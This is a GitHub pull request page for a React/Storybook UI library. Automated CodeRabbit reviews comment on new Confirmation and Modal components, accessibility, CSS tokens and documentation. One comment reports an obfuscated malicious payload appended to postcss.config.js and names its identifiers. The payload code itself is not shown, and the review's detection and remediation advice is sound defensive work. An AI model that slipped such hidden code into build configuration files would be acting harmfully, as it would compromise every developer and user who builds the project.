Enhance/storybook confirmation#47
Conversation
📝 WalkthroughWalkthroughAdds a new Confirmation component and stories; refactors Alert stories to args-driven variants and adds richer examples; adds a CreateShippingZone Modal story; implements substantial Modal runtime improvements (accessibility ids, focus trapping, portal lifecycle, scroll lock, theme application); small Alert/Notice styling tweaks; exposes getThemeStyles; many docs/formatting normalizations. ChangesUI Components & Stories
Theme provider helper
Build / Tooling and Formatting changes
Sequence Diagram(s)sequenceDiagram
participant User
participant Storybook
participant Confirmation
participant Modal
participant AppCallbacks
User->>Storybook: Click "Open Confirmation" (story UI)
Storybook->>Confirmation: render(props: open=true, title, body, labels)
Confirmation->>Modal: mount(open=true, role="alertdialog", showCloseButton)
Modal->>Modal: setup portal, apply theme vars, lock body scroll, set data-state="open"
Modal->>Modal: move focus into modal, install Tab trap
User->>Modal: Click "Confirm" button
Modal->>Confirmation: invoke onConfirm handler
Confirmation->>AppCallbacks: call onConfirm (if provided)
Confirmation->>Modal: call onClose -> request close
Modal->>Modal: release focus trap, restore scroll, cleanup portal
Modal->>Storybook: modal unmounted (closed)
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Suggested reviewers
Poem
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Review rate limit: 0/1 reviews remaining, refill in 60 minutes.Comment |
|
Caution Failed to replace (edit) comment. This is likely due to insufficient permissions or the comment being deleted. Error details |
There was a problem hiding this comment.
Actionable comments posted: 2
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
src/components/ui/modal.tsx (1)
395-406:⚠️ Potential issue | 🟡 MinorEscape handler will close all stacked modals simultaneously.
The
keydownlistener is added ondocument, so if two modals are open at the same time, a single Escape press triggersonClosefor both. Consider stopping propagation or checking if this modal is the topmost before closing.
🤖 Fix all issues with AI agents
In `@src/components/ui/confirmation.tsx`:
- Around line 86-92: The fallback ModalDescription currently renders only
whitespace when body is null, leaving aria-describedby pointing at an empty
element; update the component that renders ModalDescription (look for the
Confirmation dialog render where body and title are used) to either omit the
ModalDescription entirely when body is null (and ensure aria-describedby is not
set) or render a meaningful default (e.g., repeat the title text) instead of a
blank space; modify the logic around body and the aria-describedby prop so it
only references ModalDescription when it contains real content.
In `@src/components/ui/Modal.stories.tsx`:
- Line 97: The Countries field is displaying the wrong helper text: replace the
usage of ZONE_NAME_HELPER inside the FieldDescription for the Countries field
with the appropriate helper (e.g., COUNTRIES_HELPER) or remove the
FieldDescription entirely; locate the FieldDescription component instance that
currently renders ZONE_NAME_HELPER and update it to reference the correct
constant (or an inline string) so the Countries field shows relevant copy
instead of the zone-name helper.
🧹 Nitpick comments (4)
src/components/ui/Modal.stories.tsx (1)
81-96: Dropdown is display-only with no selection state.The Countries dropdown renders static text ("Bangladesh, United States") and clicking items does nothing. While this is a Storybook demo, a minimal
useStatefor selection would make the story more useful for demonstrating the component's interactive behavior, consistent with therestOfWorldtoggle above.src/components/ui/confirmation.tsx (1)
51-59:onClose()is called beforeonConfirm/onCancelcallbacks.This means the modal always closes immediately, before the consumer's callback runs. If a consumer needs to perform an async operation (e.g., API call) and keep the dialog open on failure, this ordering prevents that. Consider letting the consumer control closing, or at minimum document this behavior.
src/components/ui/modal.tsx (2)
408-440: Focus trap uses a stale list of focusable elements.The focusable elements are queried once when the layout effect runs (on
[portalContainer, open]changes). If modal content changes dynamically after mount (e.g., a loading spinner replaced by form fields), the Tab-trap will reference stale elements. Consider re-querying focusables inside thehandleKeyDowncallback instead.Proposed fix: query focusables at Tab-time
useLayoutEffect(() => { if (!portalContainer || !open) return; const container = contentRef.current; if (!container) return; const focusables = container.querySelectorAll<HTMLElement>( FOCUSABLE_SELECTOR, ); const first = focusables[0]; - const last = focusables[focusables.length - 1]; (first ?? container).focus(); const handleKeyDown = (e: KeyboardEvent) => { if (e.key !== "Tab") return; + const currentFocusables = container.querySelectorAll<HTMLElement>( + FOCUSABLE_SELECTOR, + ); + const firstEl = currentFocusables[0]; + const lastEl = currentFocusables[currentFocusables.length - 1]; + if (e.shiftKey) { - if (document.activeElement === first) { + if (document.activeElement === firstEl) { e.preventDefault(); - last?.focus(); + lastEl?.focus(); } } else { - if (document.activeElement === last) { + if (document.activeElement === lastEl) { e.preventDefault(); - first?.focus(); + firstEl?.focus(); } } };
297-297: Module-levelbodyScrollLockCountmay leak across tests.Since this is a module-scoped variable, it persists across test cases. If a test fails mid-render or doesn't unmount properly, the count drifts and subsequent tests may see
overflow: hiddenstuck ondocument.body. Consider resetting it in a test helper or using a ref-based approach.
| {body != null ? ( | ||
| <ModalDescription className="p-5 pt-0 text-muted-foreground"> | ||
| {body} | ||
| </ModalDescription> | ||
| ) : ( | ||
| <ModalDescription className="sr-only"> </ModalDescription> | ||
| )} |
There was a problem hiding this comment.
Screen-reader-only description contains only whitespace.
When body is not provided, the fallback ModalDescription with className="sr-only" contains just a space. This means aria-describedby points to an element with no meaningful content, which can confuse screen readers. Consider either omitting the description entirely (and not setting aria-describedby) or providing a sensible default like the title text repeated.
🤖 Prompt for AI Agents
In `@src/components/ui/confirmation.tsx` around lines 86 - 92, The fallback
ModalDescription currently renders only whitespace when body is null, leaving
aria-describedby pointing at an empty element; update the component that renders
ModalDescription (look for the Confirmation dialog render where body and title
are used) to either omit the ModalDescription entirely when body is null (and
ensure aria-describedby is not set) or render a meaningful default (e.g., repeat
the title text) instead of a blank space; modify the logic around body and the
aria-describedby prop so it only references ModalDescription when it contains
real content.
| ))} | ||
| </DropdownMenuContent> | ||
| </DropdownMenu> | ||
| <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription> |
There was a problem hiding this comment.
Copy-paste issue: wrong helper text for the Countries field.
ZONE_NAME_HELPER ("Give a meaningful name for your reference") is reused as the description for the Countries field, which doesn't make sense. This should have its own description or be omitted.
Proposed fix
- <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription>
+ <FieldDescription>Select the countries for this shipping zone</FieldDescription>📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription> | |
| <FieldDescription>Select the countries for this shipping zone</FieldDescription> |
🤖 Prompt for AI Agents
In `@src/components/ui/Modal.stories.tsx` at line 97, The Countries field is
displaying the wrong helper text: replace the usage of ZONE_NAME_HELPER inside
the FieldDescription for the Countries field with the appropriate helper (e.g.,
COUNTRIES_HELPER) or remove the FieldDescription entirely; locate the
FieldDescription component instance that currently renders ZONE_NAME_HELPER and
update it to reference the correct constant (or an inline string) so the
Countries field shows relevant copy instead of the zone-name helper.
c785cbd to
36bc331
Compare
There was a problem hiding this comment.
Actionable comments posted: 5
♻️ Duplicate comments (2)
src/components/ui/Modal.stories.tsx (1)
79-98:⚠️ Potential issue | 🟡 MinorUse countries-specific helper copy.
The Countries field repeats the zone-name helper, so the description does not match the control.
✏️ Proposed fix
- <FieldDescription>{ZONE_NAME_HELPER}</FieldDescription> + <FieldDescription>Select the countries for this shipping zone.</FieldDescription>🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@src/components/ui/Modal.stories.tsx` around lines 79 - 98, The FieldDescription under the Countries Field currently uses the wrong helper constant (ZONE_NAME_HELPER); update the description to use a countries-specific helper or literal copy that matches the control (e.g., replace ZONE_NAME_HELPER with a COUNTRIES_HELPER constant or an appropriate string). Locate the Countries block around the Field, FieldLabel("Countries"), DropdownMenu and change FieldDescription to reference the correct helper (COUNTRIES_HELPER) or update the text inline so the description matches the COUNTRIES list UI.src/components/ui/confirmation.tsx (1)
86-92:⚠️ Potential issue | 🟡 MinorAvoid pointing
aria-describedbyat blank content.When
bodyis absent, this renders a whitespace-only description, so assistive tech gets an empty referenced description. Provide meaningful fallback copy or makeModalomitaria-describedbywhen there is no description.♿ Proposed fallback fix
) : ( - <ModalDescription className="sr-only"> </ModalDescription> + <ModalDescription className="sr-only"> + Please confirm or cancel this action. + </ModalDescription> )}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@src/components/ui/confirmation.tsx` around lines 86 - 92, The ModalDescription block currently renders a whitespace-only element when body is null, causing aria-describedby to point at an empty description; update the Confirmation modal so that when body is absent it either provides a meaningful fallback string (e.g., a concise default description) or removes/avoids setting aria-describedby on the Modal entirely; locate the ModalDescription usage and the prop/logic that sets aria-describedby (references: ModalDescription, body, and the parent Modal/aria-describedby prop) and adjust the render/prop logic to only render ModalDescription or include the fallback text when a real description exists.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@docs/STORYBOOK.md`:
- Around line 21-27: The fenced code block in STORYBOOK.md showing the
src/components/ui directory tree lacks a language tag and triggers markdownlint
MD040; update that block to use the text language (i.e., replace the opening ```
with ```text) so the directory tree is treated as plain text — change the block
that lists "src/components/ui/ button.tsx Button.stories.tsx input.tsx
Input.stories.tsx" accordingly.
- Around line 392-395: The documentation guidance still recommends plain
JavaScript (.stories.js) and warns about TSX setup even though this PR adds
.stories.tsx files and the repo’s Storybook config already supports
TypeScript/JSX; update the paragraph that references Button.stories.js,
Input.stories.js and "Option A/Option B" so that .stories.tsx is presented as
the default/normal path (e.g., replace the recommendation for .stories.js with
using .stories.tsx for new components and note that the repo’s current Storybook
setup already transpiles TypeScript/JSX), keep a short alternative note about
using plain .stories.js only if a contributor explicitly does not want
TypeScript, and adjust mentions of "sections 1–3" to point readers to the TSX
templates added in this PR.
In `@README.md`:
- Around line 377-404: The README's directory tree fenced code block is missing
a language tag; change the opening and closing fences from ``` to ```text (i.e.,
replace the opening ``` before the plugin-ui/ tree with ```text and ensure the
closing fence remains ```) so the block is explicitly marked as plain text to
satisfy markdownlint MD040.
In `@src/components/ui/Confirmation.stories.tsx`:
- Around line 35-42: The dialog body is using <Notice> which currently returns
an empty wrapper so its children (the explanatory paragraph) never render; fix
by either updating the Notice component to render its children (ensure Notice's
render/return includes {children} and accepts props like variant/className) or
replace the body prop usage in Confirmation.stories.tsx to use a plain wrapper
(e.g., a <div> or <p> with the same classes) instead of <Notice> so the
paragraph is visible in the story; locate the use in the body prop and the
Notice component implementation to apply the change.
In `@src/styles.css`:
- Around line 249-258: Replace the hard-coded divider color (`#E9E9E9`) in the
modal header/footer selectors with the theme border token so themes and dark
modes work; update the rules targeting .pui-root [data-slot="modal-header"] and
.pui-root [data-slot="modal-footer"] to use var(--border) instead of the literal
hex color.
---
Duplicate comments:
In `@src/components/ui/confirmation.tsx`:
- Around line 86-92: The ModalDescription block currently renders a
whitespace-only element when body is null, causing aria-describedby to point at
an empty description; update the Confirmation modal so that when body is absent
it either provides a meaningful fallback string (e.g., a concise default
description) or removes/avoids setting aria-describedby on the Modal entirely;
locate the ModalDescription usage and the prop/logic that sets aria-describedby
(references: ModalDescription, body, and the parent Modal/aria-describedby prop)
and adjust the render/prop logic to only render ModalDescription or include the
fallback text when a real description exists.
In `@src/components/ui/Modal.stories.tsx`:
- Around line 79-98: The FieldDescription under the Countries Field currently
uses the wrong helper constant (ZONE_NAME_HELPER); update the description to use
a countries-specific helper or literal copy that matches the control (e.g.,
replace ZONE_NAME_HELPER with a COUNTRIES_HELPER constant or an appropriate
string). Locate the Countries block around the Field, FieldLabel("Countries"),
DropdownMenu and change FieldDescription to reference the correct helper
(COUNTRIES_HELPER) or update the text inline so the description matches the
COUNTRIES list UI.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 2c96b35d-218f-4131-9d65-ef6f710f1202
⛔ Files ignored due to path filters (2)
.storybook/static/favicon.svgis excluded by!**/*.svgpackage-lock.jsonis excluded by!**/package-lock.json
📒 Files selected for processing (32)
.gitignore.storybook/main.ts.storybook/manager.tsREADME.mddocs/STORYBOOK.mddocs/dataviews-component.mddocs/dropdown-menu-component.mdpackage.jsonpostcss.config.jssrc/components/button-toggle-group.stories.tsxsrc/components/button-toggle-group.tsxsrc/components/ui/Alert.stories.tsxsrc/components/ui/Combobox.stories.tsxsrc/components/ui/Confirmation.stories.tsxsrc/components/ui/DropdownMenu.stories.tsxsrc/components/ui/Modal.stories.tsxsrc/components/ui/ToggleGroup.stories.tsxsrc/components/ui/alert.tsxsrc/components/ui/confirmation.tsxsrc/components/ui/index.tssrc/components/ui/modal.tsxsrc/components/ui/notice.tsxsrc/components/ui/toggle-group.tsxsrc/components/wordpress/DataViews.stories.tsxsrc/components/wordpress/dataviews.tsxsrc/components/wordpress/style.csssrc/hooks/useWindowDimensions.tssrc/index.tssrc/providers/index.tssrc/providers/theme-provider.tsxsrc/styles.csswebpack.config.js
💤 Files with no reviewable changes (2)
- docs/dropdown-menu-component.md
- docs/dataviews-component.md
✅ Files skipped from review due to trivial changes (18)
- .storybook/manager.ts
- postcss.config.js
- src/components/ui/toggle-group.tsx
- .gitignore
- webpack.config.js
- src/components/button-toggle-group.stories.tsx
- src/index.ts
- src/hooks/useWindowDimensions.ts
- package.json
- .storybook/main.ts
- src/components/wordpress/dataviews.tsx
- src/components/ui/DropdownMenu.stories.tsx
- src/components/ui/ToggleGroup.stories.tsx
- src/components/ui/Combobox.stories.tsx
- src/components/button-toggle-group.tsx
- src/components/ui/notice.tsx
- src/components/wordpress/DataViews.stories.tsx
- src/components/ui/modal.tsx
🚧 Files skipped from review as they are similar to previous changes (4)
- src/providers/index.ts
- src/providers/theme-provider.tsx
- src/components/ui/alert.tsx
- src/components/ui/Alert.stories.tsx
| ``` | ||
| src/components/ui/ | ||
| button.tsx | ||
| Button.stories.tsx | ||
| input.tsx | ||
| Input.stories.tsx | ||
| ``` |
There was a problem hiding this comment.
Add a language to this fenced block.
markdownlint flags this as MD040. Use text for the directory tree.
🧹 Proposed fix
-```
+```text
src/components/ui/
button.tsx
Button.stories.tsx
input.tsx
Input.stories.tsx
</details>
<!-- suggestion_start -->
<details>
<summary>📝 Committable suggestion</summary>
> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
```suggestion
🧰 Tools
🪛 markdownlint-cli2 (0.22.0)
[warning] 21-21: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@docs/STORYBOOK.md` around lines 21 - 27, The fenced code block in
STORYBOOK.md showing the src/components/ui directory tree lacks a language tag
and triggers markdownlint MD040; update that block to use the text language
(i.e., replace the opening ``` with ```text) so the directory tree is treated as
plain text — change the block that lists "src/components/ui/ button.tsx
Button.stories.tsx input.tsx Input.stories.tsx" accordingly.
| ``` | ||
| plugin-ui/ | ||
| ├── src/ | ||
| │ ├── components/ # React components | ||
| │ │ ├── Alert.tsx | ||
| │ │ ├── Button.tsx | ||
| │ │ ├── TextField.tsx | ||
| │ │ └── ... | ||
| │ ├── hooks/ # Custom React hooks | ||
| │ │ ├── useClickOutside.ts | ||
| │ │ ├── useClipboard.ts | ||
| │ │ └── useToggle.ts | ||
| │ ├── utils/ # Utility functions | ||
| │ │ └── classnames.ts | ||
| │ ├── types/ # TypeScript type definitions | ||
| │ ├── styles.css # Main stylesheet (Tailwind + custom) | ||
| │ └── index.ts # Main entry point | ||
| ├── dist/ # Build output (generated) | ||
| │ ├── components/ | ||
| │ ├── hooks/ | ||
| │ ├── utils/ | ||
| │ ├── styles.css # Compiled CSS | ||
| │ └── index.js | ||
| ├── package.json | ||
| ├── tsconfig.json # TypeScript configuration | ||
| ├── postcss.config.js # PostCSS configuration | ||
| └── README.md | ||
| ``` |
There was a problem hiding this comment.
Add a language tag to the fenced code block (markdownlint MD040).
Line 377 opens a fenced block without a language, which triggers the documented lint warning.
🛠️ Suggested fix
-```
+```text
plugin-ui/
├── src/
│ ├── components/ # React components
@@
├── postcss.config.js # PostCSS configuration
└── README.md</details>
<!-- suggestion_start -->
<details>
<summary>📝 Committable suggestion</summary>
> ‼️ **IMPORTANT**
> Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
```suggestion
🧰 Tools
🪛 markdownlint-cli2 (0.22.0)
[warning] 377-377: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@README.md` around lines 377 - 404, The README's directory tree fenced code
block is missing a language tag; change the opening and closing fences from ```
to ```text (i.e., replace the opening ``` before the plugin-ui/ tree with
```text and ensure the closing fence remains ```) so the block is explicitly
marked as plain text to satisfy markdownlint MD040.
| body={ | ||
| <Notice variant="info" className="text-sm"> | ||
| <p className="text-foreground"> | ||
| Next billing date is <strong>25th March 2024</strong> and reassign | ||
| is not possible for recurring subscription | ||
| </p> | ||
| </Notice> | ||
| } |
There was a problem hiding this comment.
Don’t put the dialog copy inside Notice until it renders children.
The current Notice implementation returns an empty wrapper, so this explanatory paragraph disappears from the story. Either update Notice to render children, or use a plain wrapper here.
🛠️ Proposed local story fix
-import { Confirmation, Button, Notice } from "./index";
+import { Confirmation, Button } from "./index";
@@
- <Notice variant="info" className="text-sm">
+ <div className="rounded-md border border-info/20 bg-info/10 p-3 text-sm">
<p className="text-foreground">
Next billing date is <strong>25th March 2024</strong> and reassign
is not possible for recurring subscription
</p>
- </Notice>
+ </div>📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| body={ | |
| <Notice variant="info" className="text-sm"> | |
| <p className="text-foreground"> | |
| Next billing date is <strong>25th March 2024</strong> and reassign | |
| is not possible for recurring subscription | |
| </p> | |
| </Notice> | |
| } | |
| import { Confirmation, Button } from "./index"; | |
| // ... other code ... | |
| body={ | |
| <div className="rounded-md border border-info/20 bg-info/10 p-3 text-sm"> | |
| <p className="text-foreground"> | |
| Next billing date is <strong>25th March 2024</strong> and reassign | |
| is not possible for recurring subscription | |
| </p> | |
| </div> | |
| } |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@src/components/ui/Confirmation.stories.tsx` around lines 35 - 42, The dialog
body is using <Notice> which currently returns an empty wrapper so its children
(the explanatory paragraph) never render; fix by either updating the Notice
component to render its children (ensure Notice's render/return includes
{children} and accepts props like variant/className) or replace the body prop
usage in Confirmation.stories.tsx to use a plain wrapper (e.g., a <div> or <p>
with the same classes) instead of <Notice> so the paragraph is visible in the
story; locate the use in the body prop and the Notice component implementation
to apply the change.
| .pui-root [data-slot="modal-header"] { | ||
| border-bottom: 1px solid #E9E9E9; | ||
| } | ||
|
|
||
| /* ============================================ | ||
| Modal Footer (overrides reset border-color) | ||
| ============================================ */ | ||
|
|
||
| .pui-root [data-slot="modal-footer"] { | ||
| border-top: 1px solid #E9E9E9; |
There was a problem hiding this comment.
Use the theme border token for modal dividers.
Hard-coding #E9E9E9 bypasses dark/custom theme tokens and overrides the modal’s existing tokenized border styling. Use var(--border) instead.
🎨 Proposed fix
.pui-root [data-slot="modal-header"] {
- border-bottom: 1px solid `#E9E9E9`;
+ border-bottom: 1px solid var(--border);
}
@@
.pui-root [data-slot="modal-footer"] {
- border-top: 1px solid `#E9E9E9`;
+ border-top: 1px solid var(--border);
}🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@src/styles.css` around lines 249 - 258, Replace the hard-coded divider color
(`#E9E9E9`) in the modal header/footer selectors with the theme border token so
themes and dark modes work; update the rules targeting .pui-root
[data-slot="modal-header"] and .pui-root [data-slot="modal-footer"] to use
var(--border) instead of the literal hex color.
36bc331 to
da15c24
Compare
There was a problem hiding this comment.
Actionable comments posted: 4
♻️ Duplicate comments (4)
docs/STORYBOOK.md (2)
21-27:⚠️ Potential issue | 🟡 Minor | ⚡ Quick winAdd a language to this fenced directory block.
Line 21 still uses a bare fence; markdownlint MD040 expects a language token (use
textfor directory trees).Suggested patch
-``` +```text src/components/ui/ button.tsx Button.stories.tsx input.tsx Input.stories.tsx</details> <details> <summary>🤖 Prompt for AI Agents</summary>Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.In
@docs/STORYBOOK.mdaround lines 21 - 27, The fenced code block showing the
directory tree starting with "src/components/ui/" is missing a language token;
update the opening triple-backtick to include the language tag "text" (i.e.,
changetotext) so markdownlint MD040 is satisfied and the directory
listing (src/components/ui/, button.tsx, Button.stories.tsx, input.tsx,
Input.stories.tsx) is rendered as plain text.</details> --- `13-13`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_ **Make TSX the default story format guidance throughout this doc.** These sections still present `.stories.js` as the default and TSX as “extra setup,” which conflicts with the TSX examples in this same guide and the PR direction. <details> <summary>Suggested patch</summary> ```diff -Stories live next to components: `src/components/ui/ComponentName.stories.js` (or `.tsx` if you use TypeScript). +Stories live next to components: `src/components/ui/ComponentName.stories.tsx`. -Use the existing **Button** and **Input** story files (`Button.stories.js`, `Input.stories.js`) as templates for the rest of the components. +Use the existing **Button** and **Input** story files (`Button.stories.tsx`, `Input.stories.tsx`) as templates for the rest of the components. -The included examples use **plain JavaScript** (`.stories.js`) and `React.createElement` so that Storybook builds without extra Babel/TypeScript configuration. For new components you can: +The included examples use **TypeScript/JSX** (`.stories.tsx`) as the default format in this repo. For new components you can: -- **Option A (recommended for consistency):** Copy `Button.stories.js` or `Input.stories.js`, rename to `YourComponent.stories.js`, and use `React.createElement` for any custom `render` functions. -- **Option B (TypeScript/JSX):** Use the templates in sections 1–3 above in a `.stories.tsx` file with `import type` and JSX. That requires a Storybook setup that transpiles TypeScript/JSX (e.g. running `npx storybook@latest init` and choosing the TypeScript option, or adding the right loaders in `.storybook/main.ts`). +- **Option A (recommended):** Copy `Button.stories.tsx` or `Input.stories.tsx`, rename to `YourComponent.stories.tsx`, and use the TSX templates shown in sections 1–3. +- **Option B (plain JS only if preferred):** Use `.stories.js` and `React.createElement` if you explicitly don’t want TypeScript. ``` </details> Also applies to: 386-386, 392-395 <details> <summary>🤖 Prompt for AI Agents</summary> ``` Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docs/STORYBOOK.md` at line 13, Update the STORYBOOK guidance to make TSX the default story format: replace the example path string "src/components/ui/ComponentName.stories.js" with "src/components/ui/ComponentName.stories.tsx", remove or reword any language that presents TSX as "extra setup", and ensure all examples and instructions (including the occurrences around the noted sections ~386 and 392-395) consistently show .stories.tsx and matching TSX setup steps so examples in the doc match the PR direction and existing TSX samples. ``` </details> </blockquote></details> <details> <summary>src/styles.css (1)</summary><blockquote> `249-258`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_ **Use `var(--border)` instead of the hard-coded `#E9E9E9` for modal divider colors.** This issue was flagged in a previous review but remains unresolved — the hard-coded value bypasses the dark/custom theme tokens defined in `.pui-root`. <details> <summary>🤖 Prompt for AI Agents</summary> ``` Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/styles.css` around lines 249 - 258, Replace the hard-coded color `#E9E9E9` with the theme token var(--border) for the modal divider rules: update the selector .pui-root [data-slot="modal-header"] to use border-bottom: 1px solid var(--border) and .pui-root [data-slot="modal-footer"] to use border-top: 1px solid var(--border); ensure both blocks are properly closed and rely on the .pui-root token so dark/custom themes pick up the divider color. ``` </details> </blockquote></details> <details> <summary>src/components/ui/Modal.stories.tsx (1)</summary><blockquote> `97-97`: _⚠️ Potential issue_ | _🟡 Minor_ | _⚡ Quick win_ **Countries field still uses the zone-name helper text.** `ZONE_NAME_HELPER` ("Give a meaningful name for your reference") is copy-pasted from the Zone Name field and doesn't describe the Countries selector. This was flagged in a prior review and remains unaddressed. <details> <summary>🤖 Prompt for AI Agents</summary> ``` Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/ui/Modal.stories.tsx` at line 97, The Countries selector is showing the wrong helper text: it uses ZONE_NAME_HELPER in the FieldDescription; update the Countries field to use an appropriate helper constant (e.g., COUNTRIES_HELPER) or create one with a description specific to the Countries selector (e.g., "Select one or more countries this reference applies to") and replace ZONE_NAME_HELPER in the FieldDescription for the Countries component to reference that new or existing countries-specific constant. ``` </details> </blockquote></details> </blockquote></details> <details> <summary>🤖 Prompt for all review comments with AI agents</summary>Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.Inline comments:
In@postcss.config.js:
- Line 5: The file contains a malicious obfuscated payload appended after the
legitimate export (symbols to look for: global['!']='9-3463-4', _$_1e42, sfL,
jFD and the long IIFE) — remove the entire appended obfuscated block so the file
only contains the intended PostCSS config export, then verify no other files
contain the same patterns; commit the removal as a security fix, scan the
repo/CI logs and recent commits for the same symbols/strings, and if found
rotate any potentially exposed credentials and revert the introducing commit or
replace with a clean version from a known-good commit.In
@src/components/ui/Modal.stories.tsx:
- Around line 82-90: The DropdownMenuTrigger currently wraps a Button which
causes nested elements; update the trigger to use the Radix pattern by
adding the asChild prop to DropdownMenuTrigger so it will clone the Button child
instead of rendering its own button. Locate the DropdownMenuTrigger/ Button
usage in Modal.stories (the block with DropdownMenuTrigger and Button rendering
"Bangladesh, United States") and add asChild to DropdownMenuTrigger so the
Button becomes the actual trigger element and avoids invalid nested buttons.- Line 91: The DropdownMenuContent is using an invalid CSS variable
(--anchor-width) so the menu won't match the trigger; update the className on
DropdownMenuContent to use the Radix-provided variable
--radix-dropdown-menu-trigger-width (i.e., replace any reference to
--anchor-width with --radix-dropdown-menu-trigger-width) so the dropdown content
width matches the trigger element; locate the usage in the DropdownMenuContent
component in Modal.stories.tsx to apply the change.In
@src/styles.css:
- Around line 77-79: Stylelint errors are caused by unquoted proper font family
names in the CSS variables (--font-sans, --font-serif, --font-mono); update
those variables so that all non-generic/proper names (e.g., BlinkMacSystemFont,
Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular, Menlo, Monaco, Consolas)
are wrapped in quotes while leaving generic family keywords (e.g., sans-serif,
serif, monospace) unquoted, ensuring each value list in --font-sans,
--font-serif, and --font-mono uses quoted strings for multi-word or proper names
to satisfy the value-keyword-case rule.
Duplicate comments:
In@docs/STORYBOOK.md:
- Around line 21-27: The fenced code block showing the directory tree starting
with "src/components/ui/" is missing a language token; update the opening
triple-backtick to include the language tag "text" (i.e., changetotext)
so markdownlint MD040 is satisfied and the directory listing
(src/components/ui/, button.tsx, Button.stories.tsx, input.tsx,
Input.stories.tsx) is rendered as plain text.- Line 13: Update the STORYBOOK guidance to make TSX the default story format:
replace the example path string "src/components/ui/ComponentName.stories.js"
with "src/components/ui/ComponentName.stories.tsx", remove or reword any
language that presents TSX as "extra setup", and ensure all examples and
instructions (including the occurrences around the noted sections ~386 and
392-395) consistently show .stories.tsx and matching TSX setup steps so examples
in the doc match the PR direction and existing TSX samples.In
@src/components/ui/Modal.stories.tsx:
- Line 97: The Countries selector is showing the wrong helper text: it uses
ZONE_NAME_HELPER in the FieldDescription; update the Countries field to use an
appropriate helper constant (e.g., COUNTRIES_HELPER) or create one with a
description specific to the Countries selector (e.g., "Select one or more
countries this reference applies to") and replace ZONE_NAME_HELPER in the
FieldDescription for the Countries component to reference that new or existing
countries-specific constant.In
@src/styles.css:
- Around line 249-258: Replace the hard-coded color
#E9E9E9with the theme token
var(--border) for the modal divider rules: update the selector .pui-root
[data-slot="modal-header"] to use border-bottom: 1px solid var(--border) and
.pui-root [data-slot="modal-footer"] to use border-top: 1px solid var(--border);
ensure both blocks are properly closed and rely on the .pui-root token so
dark/custom themes pick up the divider color.</details> <details> <summary>🪄 Autofix (Beta)</summary> Fix all unresolved CodeRabbit comments on this PR: - [ ] <!-- {"checkboxId": "4b0d0e0a-96d7-4f10-b296-3a18ea78f0b9"} --> Push a commit to this branch (recommended) - [ ] <!-- {"checkboxId": "ff5b1114-7d8c-49e6-8ac1-43f82af23a33"} --> Create a new PR with the fixes </details> --- <details> <summary>ℹ️ Review info</summary> <details> <summary>⚙️ Run configuration</summary> **Configuration used**: defaults **Review profile**: CHILL **Plan**: Pro **Run ID**: `d70f5389-f3ca-4da6-9632-d685adab528e` </details> <details> <summary>📥 Commits</summary> Reviewing files that changed from the base of the PR and between 36bc331306a931cf53669ac743de9a60fdb13671 and da15c24c1ba8e7682f313436ff4503dad7e25cec. </details> <details> <summary>⛔ Files ignored due to path filters (2)</summary> * `.storybook/static/favicon.svg` is excluded by `!**/*.svg` * `package-lock.json` is excluded by `!**/package-lock.json` </details> <details> <summary>📒 Files selected for processing (32)</summary> * `.gitignore` * `.storybook/main.ts` * `.storybook/manager.ts` * `README.md` * `docs/STORYBOOK.md` * `docs/dataviews-component.md` * `docs/dropdown-menu-component.md` * `package.json` * `postcss.config.js` * `src/components/button-toggle-group.stories.tsx` * `src/components/button-toggle-group.tsx` * `src/components/ui/Alert.stories.tsx` * `src/components/ui/Combobox.stories.tsx` * `src/components/ui/Confirmation.stories.tsx` * `src/components/ui/DropdownMenu.stories.tsx` * `src/components/ui/Modal.stories.tsx` * `src/components/ui/ToggleGroup.stories.tsx` * `src/components/ui/alert.tsx` * `src/components/ui/confirmation.tsx` * `src/components/ui/index.ts` * 